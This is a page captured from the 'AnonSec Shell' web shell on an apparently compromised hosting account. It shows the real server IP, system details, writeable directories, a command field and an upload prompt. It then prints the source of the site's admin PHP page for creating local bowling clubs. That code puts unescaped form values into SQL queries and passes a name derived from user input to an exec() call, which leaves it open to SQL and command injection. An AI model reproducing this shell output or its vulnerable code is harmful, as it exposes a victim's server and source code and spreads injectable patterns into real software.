AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin/localClubsNew.php
<?php
$thisCheckID	= 25;
include "globalVars.php";

include "header.php";
?>

				<h2>Create a New Local Club</h2>
<?php

if (isset($_POST["createClub"])) {

	$clubName		= cleanPost($_POST["clubName"], $conn);
	$clubRep		= cleanPost($_POST["clubRep"], $conn);
	$clubWebsite	= cleanPost($_POST["clubWebsite"], $conn);

	$pageURL	= str_replace($badURL, $goodURL, $clubName);
	$pageURL	= strtolower($pageURL) ;

	mysqli_query($conn, "INSERT INTO localClubs (pageURL, clubName, clubRep, clubWebsite) VALUES ('$pageURL', '". addslashes($clubName) ."', '". addslashes($clubRep) ."', '$clubWebsite')") or die (mysqli_error($conn));
	$clubID		= mysqli_insert_id($conn);

	$trackMsg	= "The User ". addslashes($adminName) ." &lt;$adminEmail&gt; created the new local club ". addslashes($clubName);

	if (is_uploaded_file($_FILES['clubBadge']['tmp_name'])){
		$fileType	= $_FILES['clubBadge']['type'];
		$fileName	= $_FILES['clubBadge']['name'];
		$fileSize	= $_FILES['clubBadge']['size'];
		$fileTmp	= $_FILES['clubBadge']['tmp_name'];

		$imgUpload	= "$pageURL.png";

		list($width, $height) = @getimagesize($fileTmp);
		$imgRatio	= $width/$height;

		$newHeight	= $badgeHeight;
		$newWidth	= $badgeHeight * $imgRatio;

		$newSize	= $newWidth ."x". $newHeight;

		$newLogoImg	= $SERVER_ROOT ."/images/clubs/$imgUpload";

		exec("/usr/bin/convert -auto-orient -resize $newSize -strip -quality 75 -limit thread 2 $fileTmp $newLogoImg");

		mysqli_query($conn, "UPDATE localClubs SET clubBadge = '$imgUpload' WHERE id = '$clubID'");

		$trackMsg	.= ". A club badge was also uploaded: <a href=\"/images/clubs/$imgUpload\" target=\"_blank\">/images/clubs/$imgUpload</a>";
	}

	$trackDate		= date("Y-m-d H:i:s");
	mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/localClubsNew.html', 'localClubs', '$trackMsg')");

	echo "<p><strong>Success!</strong> The new Bowling Club $clubName has been created.</p>";

} else {
	?>
    <form action="localClubsNew.html" method="post" id="uploadImgForm" enctype="multipart/form-data">
		<div class="descStTab">
			<div class="pFormRow">
				<div class="pFormTitle">Club name:</div>
				<div class="pFormInput">
					<input type="text" name="clubName" size="50" required />
					<div class="pFormLabel">
						<label class="labelName">Club name:</label>
					</div>
				</div>
			</div>
			<div class="pFormRow">
				<div class="pFormTitle">Club Representative:</div>
				<div class="pFormInput">
					<input type="text" name="clubRep" size="50" />
					<div class="pFormLabel">
						<label class="labelName">Club Representative:</label>
					</div>
				</div>
			</div>
			<div class="pFormRow">
				<div class="pFormTitle">Club Website:</div>
				<div class="pFormInput">
					<input type="url" name="clubWebsite" size="50" placeholder="https://www.example.com" />
					<div class="pFormLabel">
						<label class="labelName">Club Website:</label>
					</div>
				</div>
			</div>
			<div class="pFormRow">
				<div class="pFormTitle">Club badge:</div>
				<div class="pFormInput">
					<input type="file" name="clubBadge" accept="image/*">
					<div class="pFormLabel">
						<label class="labelName">Club badge:</label>
					</div>
				</div>
			</div>
		</div>
		<input type="submit" class="submitButton" id="uploadImgBtn" name="createClub" value="Create New Club" />
		<div id="imgUploading">
			<img src="images/imageUploading-large.gif" width="128" alt="Uploading" title="Uploading">
		</div>
	</form>
	<?php
}
?>

<?php
include "footer.php";
?>

Anon7 - 2022
AnonSec Team